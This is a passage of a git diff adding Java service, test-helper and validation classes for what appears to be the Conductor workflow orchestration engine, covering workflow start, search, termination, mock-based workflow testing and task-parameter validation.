restartWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId, + boolean useLatestDefinitions); + + /** + * Retries the last failed task. + * + * @param workflowId WorkflowId of the workflow. + */ + void retryWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId, + boolean resumeSubworkflowTasks); + + /** + * Resets callback times of all non-terminal SIMPLE tasks to 0. + * + * @param workflowId WorkflowId of the workflow. + */ + void resetWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId); + + /** + * Terminate workflow execution. + * + * @param workflowId WorkflowId of the workflow. + * @param reason Reason for terminating the workflow. + */ + void terminateWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId, + String reason); + + /** + * Terminate workflow execution, and then remove it from the system. Acts as terminate and + * remove combined. + * + * @param workflowId WorkflowId of the workflow + * @param reason Reason for terminating the workflow. + * @param archiveWorkflow Archives the workflow and associated tasks instead of removing them. + */ + void terminateRemove( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId, + String reason, + boolean archiveWorkflow); + + /** + * Search for workflows based on payload and given parameters. Use sort options as sort ASCor + * DESC e.g. sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchWorkflows( + int start, + @Max( + value = 5_000, + message = + "Cannot return more than {value} workflows. Please use pagination.") + int size, + String sort, + String freeText, + String query); + + /** + * Search for workflows based on payload and given parameters. Use sort options as sort ASCor + * DESC e.g. sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchWorkflowsV2( + int start, + @Max( + value = 5_000, + message = + "Cannot return more than {value} workflows. Please use pagination.") + int size, + String sort, + String freeText, + String query); + + /** + * Search for workflows based on payload and given parameters. Use sort options as sort ASCor + * DESC e.g. sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort list of sorting options, separated by "|" delimiter + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchWorkflows( + int start, + @Max( + value = 5_000, + message = + "Cannot return more than {value} workflows. Please use pagination.") + int size, + List sort, + String freeText, + String query); + + /** + * Search for workflows based on payload and given parameters. Use sort options as sort ASCor + * DESC e.g. sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort list of sorting options, separated by "|" delimiter + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchWorkflowsV2( + int start, + @Max( + value = 5_000, + message = + "Cannot return more than {value} workflows. Please use pagination.") + int size, + List sort, + String freeText, + String query); + + /** + * Search for workflows based on task parameters. Use sort options as sort ASC or DESC e.g. + * sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchWorkflowsByTasks( + int start, int size, String sort, String freeText, String query); + + /** + * Search for workflows based on task parameters. Use sort options as sort ASC or DESC e.g. + * sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchWorkflowsByTasksV2( + int start, int size, String sort, String freeText, String query); + + /** + * Search for workflows based on task parameters. Use sort options as sort ASC or DESC e.g. + * sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort list of sorting options, separated by "|" delimiter + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchWorkflowsByTasks( + int start, int size, List sort, String freeText, String query); + + /** + * Search for workflows based on task parameters. Use sort options as sort ASC or DESC e.g. + * sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort list of sorting options, separated by "|" delimiter + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchWorkflowsByTasksV2( + int start, int size, List sort, String freeText, String query); + + /** + * Get the external storage location where the workflow input payload is stored/to be stored + * + * @param path the path for which the external storage location is to be populated + * @param operation the operation to be performed (read or write) + * @param payloadType the type of payload (input or output) + * @return {@link ExternalStorageLocation} containing the uri and the path to the payload is + * stored in external storage + */ + ExternalStorageLocation getExternalStorageLocation( + String path, String operation, String payloadType); +} diff --git a/core/src/main/java/com/netflix/conductor/service/WorkflowServiceImpl.java b/core/src/main/java/com/netflix/conductor/service/WorkflowServiceImpl.java new file mode 100644 index 0000000..c4623dd --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/WorkflowServiceImpl.java @@ -0,0 +1,476 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.Audit; +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SkipTaskRequest; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.model.WorkflowModel; + +@Audit +@Trace +@Service +public class WorkflowServiceImpl implements WorkflowService { + + private final WorkflowExecutor workflowExecutor; + private final ExecutionService executionService; + private final MetadataService metadataService; + + public WorkflowServiceImpl( + WorkflowExecutor workflowExecutor, + ExecutionService executionService, + MetadataService metadataService) { + this.workflowExecutor = workflowExecutor; + this.executionService = executionService; + this.metadataService = metadataService; + } + + /** + * Start a new workflow with StartWorkflowRequest, which allows task to be executed in a domain. + * + * @param startWorkflowRequest StartWorkflow request for the workflow you want to start. + * @return the id of the workflow instance that can be use for tracking. + */ + public String startWorkflow(StartWorkflowRequest startWorkflowRequest) { + return workflowExecutor.startWorkflow(new StartWorkflowInput(startWorkflowRequest)); + } + + /** + * Start a new workflow with StartWorkflowRequest, which allows task to be executed in a domain. + * + * @param name Name of the workflow you want to start. + * @param version Version of the workflow you want to start. + * @param correlationId CorrelationID of the workflow you want to start. + * @param priority Priority of the workflow you want to start. + * @param input Input to the workflow you want to start. + * @param externalInputPayloadStoragePath the relative path in external storage where input * + * payload is located + * @param taskToDomain the task to domain mapping + * @param workflowDef - workflow definition + * @return the id of the workflow instance that can be use for tracking. + */ + public String startWorkflow( + String name, + Integer version, + String correlationId, + Integer priority, + Map input, + String externalInputPayloadStoragePath, + Map taskToDomain, + WorkflowDef workflowDef) { + StartWorkflowInput startWorkflowInput = new StartWorkflowInput(); + startWorkflowInput.setName(name); + startWorkflowInput.setVersion(version); + startWorkflowInput.setCorrelationId(correlationId); + startWorkflowInput.setPriority(priority); + startWorkflowInput.setWorkflowInput(input); + startWorkflowInput.setExternalInputPayloadStoragePath(externalInputPayloadStoragePath); + startWorkflowInput.setTaskToDomain(taskToDomain); + startWorkflowInput.setWorkflowDefinition(workflowDef); + + return workflowExecutor.startWorkflow(startWorkflowInput); + } + + /** + * Start a new workflow. Returns the ID of the workflow instance that can be later used for + * tracking. + * + * @param name Name of the workflow you want to start. + * @param version Version of the workflow you want to start. + * @param correlationId CorrelationID of the workflow you want to start. + * @param priority Priority of the workflow you want to start. + * @param input Input to the workflow you want to start. + * @return the id of the workflow instance that can be use for tracking. + */ + public String startWorkflow( + String name, + Integer version, + String correlationId, + Integer priority, + Map input) { + WorkflowDef workflowDef = metadataService.getWorkflowDef(name, version); + if (workflowDef == null) { + throw new NotFoundException( + "No such workflow found by name: %s, version: %d", name, version); + } + + StartWorkflowInput startWorkflowInput = new StartWorkflowInput(); + startWorkflowInput.setName(workflowDef.getName()); + startWorkflowInput.setVersion(workflowDef.getVersion()); + startWorkflowInput.setCorrelationId(correlationId); + startWorkflowInput.setPriority(priority); + startWorkflowInput.setWorkflowInput(input); + + return workflowExecutor.startWorkflow(startWorkflowInput); + } + + /** + * Lists workflows for the given correlation id. + * + * @param name Name of the workflow. + * @param correlationId CorrelationID of the workflow you want to start. + * @param includeClosed IncludeClosed workflow which are not running. + * @param includeTasks Includes tasks associated with workflows. + * @return a list of {@link Workflow} + */ + public List getWorkflows( + String name, String correlationId, boolean includeClosed, boolean includeTasks) { + return executionService.getWorkflowInstances( + name, correlationId, includeClosed, includeTasks); + } + + /** + * Lists workflows for the given correlation id. + * + * @param name Name of the workflow. + * @param includeClosed CorrelationID of the workflow you want to start. + * @param includeTasks IncludeClosed workflow which are not running. + * @param correlationIds Includes tasks associated with workflows. + * @return a {@link Map} of {@link String} as key and a list of {@link Workflow} as value + */ + public Map> getWorkflows( + String name, boolean includeClosed, boolean includeTasks, List correlationIds) { + Map> workflowMap = new HashMap<>(); + for (String correlationId : correlationIds) { + List workflows = + executionService.getWorkflowInstances( + name, correlationId, includeClosed, includeTasks); + workflowMap.put(correlationId, workflows); + } + return workflowMap; + } + + /** + * Gets the workflow by workflow id. + * + * @param workflowId id of the workflow. + * @param includeTasks Includes tasks associated with workflow. + * @return an instance of {@link Workflow} + */ + public Workflow getExecutionStatus(String workflowId, boolean includeTasks) { + Workflow workflow = executionService.getExecutionStatus(workflowId, includeTasks); + if (workflow == null) { + throw new NotFoundException("Workflow with id: %s not found.", workflowId); + } + return workflow; + } + + @Override + public WorkflowModel getWorkflowModel(String workflowId, boolean includeTasks) { + return executionService.getWorkflowModel(workflowId, includeTasks); + } + + /** + * Removes the workflow from the system. + * + * @param workflowId WorkflowID of the workflow you want to remove from system. + * @param archiveWorkflow Archives the workflow and associated tasks instead of removing them. + */ + public void deleteWorkflow(String workflowId, boolean archiveWorkflow) { + executionService.removeWorkflow(workflowId, archiveWorkflow); + } + + /** + * Terminate workflow execution, and then remove it from the system. Acts as terminate and + * remove combined. + * + * @param workflowId WorkflowId of the workflow + * @param reason Reason for terminating the workflow. + * @param archiveWorkflow Archives the workflow and associated tasks instead of removing them. + */ + public void terminateRemove(String workflowId, String reason, boolean archiveWorkflow) { + workflowExecutor.terminateWorkflow(workflowId, reason); + executionService.removeWorkflow(workflowId, archiveWorkflow); + } + + /** + * Retrieves all the running workflows. + * + * @param workflowName Name of the workflow. + * @param version Version of the workflow. + * @param startTime start time of the workflow. + * @param endTime EndTime of the workflow + * @return a list of workflow Ids. + */ + public List getRunningWorkflows( + String workflowName, Integer version, Long startTime, Long endTime) { + if (Optional.ofNullable(startTime).orElse(0L) != 0 + && Optional.ofNullable(endTime).orElse(0L) != 0) { + return workflowExecutor.getWorkflows(workflowName, version, startTime, endTime); + } else { + version = + Optional.ofNullable(version) + .orElseGet( + () -> { + WorkflowDef workflowDef = + metadataService.getWorkflowDef(workflowName, null); + return workflowDef.getVersion(); + }); + return workflowExecutor.getRunningWorkflowIds(workflowName, version); + } + } + + /** + * Starts the decision task for a workflow. + * + * @param workflowId WorkflowId of the workflow. + */ + public void decideWorkflow(String workflowId) { + workflowExecutor.decide(workflowId); + } + + /** + * Pauses the workflow given a workflowId. + * + * @param workflowId WorkflowId of the workflow. + */ + public void pauseWorkflow(String workflowId) { + workflowExecutor.pauseWorkflow(workflowId); + } + + /** + * Resumes the workflow. + * + * @param workflowId WorkflowId of the workflow. + */ + public void resumeWorkflow(String workflowId) { + workflowExecutor.resumeWorkflow(workflowId); + } + + /** + * Skips a given task from a current running workflow. + * + * @param workflowId WorkflowId of the workflow. + * @param taskReferenceName The task reference name. + * @param skipTaskRequest {@link SkipTaskRequest} for task you want to skip. + */ + public void skipTaskFromWorkflow( + String workflowId, String taskReferenceName, SkipTaskRequest skipTaskRequest) { + workflowExecutor.skipTaskFromWorkflow(workflowId, taskReferenceName, skipTaskRequest); + } + + /** + * Reruns the workflow from a specific task. + * + * @param workflowId WorkflowId of the workflow you want to rerun. + * @param request (@link RerunWorkflowRequest) for the workflow. + * @return WorkflowId of the rerun workflow. + */ + public String rerunWorkflow(String workflowId, RerunWorkflowRequest request) { + request.setReRunFromWorkflowId(workflowId); + return workflowExecutor.rerun(request); + } + + /** + * Restarts a completed workflow. + * + * @param workflowId WorkflowId of the workflow. + * @param useLatestDefinitions if true, use the latest workflow and task definitions upon + * restart + */ + public void restartWorkflow(String workflowId, boolean useLatestDefinitions) { + workflowExecutor.restart(workflowId, useLatestDefinitions); + } + + /** + * Retries the last failed task. + * + * @param workflowId WorkflowId of the workflow. + */ + public void retryWorkflow(String workflowId, boolean resumeSubworkflowTasks) { + workflowExecutor.retry(workflowId, resumeSubworkflowTasks); + } + + /** + * Resets callback times of all non-terminal SIMPLE tasks to 0. + * + * @param workflowId WorkflowId of the workflow. + */ + public void resetWorkflow(String workflowId) { + workflowExecutor.resetCallbacksForWorkflow(workflowId); + } + + /** + * Terminate workflow execution. + * + * @param workflowId WorkflowId of the workflow. + * @param reason Reason for terminating the workflow. + */ + public void terminateWorkflow(String workflowId, String reason) { + workflowExecutor.terminateWorkflow(workflowId, reason); + } + + /** + * Search for workflows based on payload and given parameters. Use sort options as sort ASCor + * DESC e.g. sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchWorkflows( + int start, int size, String sort, String freeText, String query) { + return executionService.search( + query, freeText, start, size, Utils.convertStringToList(sort)); + } + + /** + * Search for workflows based on payload and given parameters. Use sort options as sort ASCor + * DESC e.g. sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchWorkflowsV2( + int start, int size, String sort, String freeText, String query) { + return executionService.searchV2( + query, freeText, start, size, Utils.convertStringToList(sort)); + } + + /** + * Search for workflows based on payload and given parameters. Use sort options as sort ASCor + * DESC e.g. sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort list of sorting options, separated by "|" delimiter + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchWorkflows( + int start, int size, List sort, String freeText, String query) { + return executionService.search(query, freeText, start, size, sort); + } + + /** + * Search for workflows based on payload and given parameters. Use sort options as sort ASCor + * DESC e.g. sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort list of sorting options, separated by "|" delimiter + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchWorkflowsV2( + int start, int size, List sort, String freeText, String query) { + return executionService.searchV2(query, freeText, start, size, sort); + } + + /** + * Search for workflows based on task parameters. Use sort options as sort ASC or DESC e.g. + * sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchWorkflowsByTasks( + int start, int size, String sort, String freeText, String query) { + return executionService.searchWorkflowByTasks( + query, freeText, start, size, Utils.convertStringToList(sort)); + } + + /** + * Search for workflows based on task parameters. Use sort options as sort ASC or DESC e.g. + * sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchWorkflowsByTasksV2( + int start, int size, String sort, String freeText, String query) { + return executionService.searchWorkflowByTasksV2( + query, freeText, start, size, Utils.convertStringToList(sort)); + } + + /** + * Search for workflows based on task parameters. Use sort options as sort ASC or DESC e.g. + * sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort list of sorting options, separated by "|" delimiter + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchWorkflowsByTasks( + int start, int size, List sort, String freeText, String query) { + return executionService.searchWorkflowByTasks(query, freeText, start, size, sort); + } + + /** + * Search for workflows based on task parameters. Use sort options as sort ASC or DESC e.g. + * sort=name or sort=workflowId:DESC. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort list of sorting options, separated by "|" delimiter + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchWorkflowsByTasksV2( + int start, int size, List sort, String freeText, String query) { + return executionService.searchWorkflowByTasksV2(query, freeText, start, size, sort); + } + + /** + * Get the external storage location where the workflow input payload is stored/to be stored + * + * @param path the path for which the external storage location is to be populated + * @param operation the operation to be performed (read or write) + * @param type the type of payload (input or output) + * @return {@link ExternalStorageLocation} containing the uri and the path to the payload is + * stored in external storage + */ + public ExternalStorageLocation getExternalStorageLocation( + String path, String operation, String type) { + return executionService.getExternalStorageLocation(path, operation, type); + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/WorkflowTestService.java b/core/src/main/java/com/netflix/conductor/service/WorkflowTestService.java new file mode 100644 index 0000000..601c0ab --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/WorkflowTestService.java @@ -0,0 +1,149 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.*; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowTestRequest; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.model.TaskModel; + +@Component +public class WorkflowTestService { + + private static final int MAX_LOOPS = 20_000; + + private static final Set operators = new HashSet<>(); + + static { + operators.add(TaskType.TASK_TYPE_JOIN); + operators.add(TaskType.TASK_TYPE_DO_WHILE); + operators.add(TaskType.TASK_TYPE_SET_VARIABLE); + operators.add(TaskType.TASK_TYPE_FORK); + operators.add(TaskType.TASK_TYPE_INLINE); + operators.add(TaskType.TASK_TYPE_TERMINATE); + operators.add(TaskType.TASK_TYPE_DECISION); + operators.add(TaskType.TASK_TYPE_DYNAMIC); + operators.add(TaskType.TASK_TYPE_FORK_JOIN); + operators.add(TaskType.TASK_TYPE_FORK_JOIN_DYNAMIC); + operators.add(TaskType.TASK_TYPE_SWITCH); + operators.add(TaskType.TASK_TYPE_SUB_WORKFLOW); + } + + private final WorkflowService workflowService; + + private final ExecutionDAO executionDAO; + + private final ExecutionService workflowExecutionService; + + public WorkflowTestService( + WorkflowService workflowService, + ExecutionDAO executionDAO, + ExecutionService workflowExecutionService) { + this.workflowService = workflowService; + this.executionDAO = executionDAO; + this.workflowExecutionService = workflowExecutionService; + } + + public Workflow testWorkflow(WorkflowTestRequest request) { + request.setName(request.getName()); + request.setVersion(request.getVersion()); + String domain = UUID.randomUUID().toString(); + // Ensure the workflows started for the testing are not picked by any workers + request.getTaskToDomain().put("*", domain); + String workflowId = workflowService.startWorkflow(request); + return testWorkflow(request, workflowId); + } + + private Workflow testWorkflow(WorkflowTestRequest request, String workflowId) { + + Map> mockData = request.getTaskRefToMockOutput(); + Workflow workflow; + int loopCount = 0; + do { + loopCount++; + workflow = workflowService.getExecutionStatus(workflowId, true); + + if (loopCount > MAX_LOOPS) { + // Short circuit to avoid large loops + return workflow; + } + + List runningTasksMissingInput = + workflow.getTasks().stream() + .filter(task -> !operators.contains(task.getTaskType())) + .filter(t -> !t.getStatus().isTerminal()) + .filter(t2 -> !mockData.containsKey(t2.getReferenceTaskName())) + .map(task -> task.getReferenceTaskName()) + .collect(Collectors.toList()); + + if (!runningTasksMissingInput.isEmpty()) { + break; + } + Stream runningTasks = + workflow.getTasks().stream().filter(t -> !t.getStatus().isTerminal()); + runningTasks.forEach( + running -> { + if (running.getTaskType().equals(TaskType.SUB_WORKFLOW.name())) { + String subWorkflowId = running.getSubWorkflowId(); + WorkflowTestRequest subWorkflowTestRequest = + request.getSubWorkflowTestRequest() + .get(running.getReferenceTaskName()); + if (subWorkflowId != null && subWorkflowTestRequest != null) { + testWorkflow(subWorkflowTestRequest, subWorkflowId); + } + } + String refName = running.getReferenceTaskName(); + List taskMock = mockData.get(refName); + if (taskMock == null + || taskMock.isEmpty() + || operators.contains(running.getTaskType())) { + mockData.remove(refName); + workflowService.decideWorkflow(workflowId); + } else { + WorkflowTestRequest.TaskMock task = taskMock.remove(0); + if (task.getExecutionTime() > 0 || task.getQueueWaitTime() > 0) { + TaskModel existing = executionDAO.getTask(running.getTaskId()); + existing.setScheduledTime( + System.currentTimeMillis() + - (task.getExecutionTime() + + task.getQueueWaitTime())); + existing.setStartTime( + System.currentTimeMillis() - task.getExecutionTime()); + existing.setStatus( + TaskModel.Status.valueOf(task.getStatus().name())); + existing.getOutputData().putAll(task.getOutput()); + + executionDAO.updateTask(existing); + workflowService.decideWorkflow(workflowId); + } else { + TaskResult taskResult = new TaskResult(running); + taskResult.setStatus(task.getStatus()); + taskResult.getOutputData().putAll(task.getOutput()); + workflowExecutionService.updateTask(taskResult); + } + } + }); + } while (!workflow.getStatus().isTerminal() && !mockData.isEmpty()); + + return workflow; + } +} diff --git a/core/src/main/java/com/netflix/conductor/validations/ValidationContext.java b/core/src/main/java/com/netflix/conductor/validations/ValidationContext.java new file mode 100644 index 0000000..6bf5ed0 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/validations/ValidationContext.java @@ -0,0 +1,33 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.validations; + +import com.netflix.conductor.dao.MetadataDAO; + +/** + * This context is defined to get access to {@link MetadataDAO} inside {@link + * WorkflowTaskTypeConstraint} constraint validator to validate {@link + * com.netflix.conductor.common.metadata.workflow.WorkflowTask}. + */ +public class ValidationContext { + + private static MetadataDAO metadataDAO; + + public static void initialize(MetadataDAO metadataDAO) { + ValidationContext.metadataDAO = metadataDAO; + } + + public static MetadataDAO getMetadataDAO() { + return metadataDAO; + } +} diff --git a/core/src/main/java/com/netflix/conductor/validations/WorkflowTaskTypeConstraint.java b/core/src/main/java/com/netflix/conductor/validations/WorkflowTaskTypeConstraint.java new file mode 100644 index 0000000..0758bdd --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/validations/WorkflowTaskTypeConstraint.java @@ -0,0 +1,587 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.validations; + +import java.lang.annotation.Documented; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.text.ParseException; +import java.time.format.DateTimeParseException; +import java.util.Map; +import java.util.Optional; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.events.ScriptEvaluator; +import com.netflix.conductor.core.utils.DateTimeUtils; + +import jakarta.validation.Constraint; +import jakarta.validation.ConstraintValidator; +import jakarta.validation.ConstraintValidatorContext; +import jakarta.validation.Payload; + +import static com.netflix.conductor.core.execution.tasks.Terminate.getTerminationStatusParameter; +import static com.netflix.conductor.core.execution.tasks.Terminate.validateInputStatus; +import static com.netflix.conductor.core.execution.tasks.Wait.DURATION_INPUT; +import static com.netflix.conductor.core.execution.tasks.Wait.UNTIL_INPUT; + +import static java.lang.annotation.ElementType.ANNOTATION_TYPE; +import static java.lang.annotation.ElementType.TYPE; + +/** + * This constraint class validates following things. 1. Correct parameters are set depending on task + * type. + */ +@Documented +@Constraint(validatedBy = WorkflowTaskTypeConstraint.WorkflowTaskValidator.class) +@Target({TYPE, ANNOTATION_TYPE}) +@Retention(RetentionPolicy.RUNTIME) +public @interface WorkflowTaskTypeConstraint { + + String message() default ""; + + Class[] groups() default {}; + + Class[] payload() default {}; + + class WorkflowTaskValidator + implements ConstraintValidator { + + final String PARAM_REQUIRED_STRING_FORMAT = + "%s field is required for taskType: %s taskName: %s"; + + @Override + public void initialize(WorkflowTaskTypeConstraint constraintAnnotation) {} + + @Override + public boolean isValid(WorkflowTask workflowTask, ConstraintValidatorContext context) { + context.disableDefaultConstraintViolation(); + + boolean valid = true; + + // depending on task type check if required parameters are set or not + switch (workflowTask.getType()) { + case TaskType.TASK_TYPE_EVENT: + valid = isEventTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_DECISION: + valid = isDecisionTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_SWITCH: + valid = isSwitchTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_DYNAMIC: + valid = isDynamicTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_FORK_JOIN_DYNAMIC: + valid = isDynamicForkJoinValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_HTTP: + valid = isHttpTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_FORK_JOIN: + valid = isForkJoinTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_TERMINATE: + valid = isTerminateTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_KAFKA_PUBLISH: + valid = isKafkaPublishTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_DO_WHILE: + valid = isDoWhileTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_SUB_WORKFLOW: + valid = isSubWorkflowTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_JSON_JQ_TRANSFORM: + valid = isJSONJQTransformTaskValid(workflowTask, context); + break; + case TaskType.TASK_TYPE_WAIT: + valid = isWaitTaskValid(workflowTask, context); + break; + } + + return valid; + } + + private boolean isEventTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + if (workflowTask.getSink() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "sink", + TaskType.TASK_TYPE_EVENT, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + return valid; + } + + private boolean isDecisionTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + if (workflowTask.getCaseValueParam() == null + && workflowTask.getCaseExpression() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "caseValueParam or caseExpression", + TaskType.DECISION, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + if (workflowTask.getDecisionCases() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "decisionCases", + TaskType.DECISION, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } else if ((workflowTask.getDecisionCases() != null + || workflowTask.getCaseExpression() != null) + && (workflowTask.getDecisionCases().size() == 0)) { + String message = + String.format( + "decisionCases should have atleast one task for taskType: %s taskName: %s", + TaskType.DECISION, workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + if (workflowTask.getCaseExpression() != null) { + try { + validateScriptExpression( + workflowTask.getCaseExpression(), 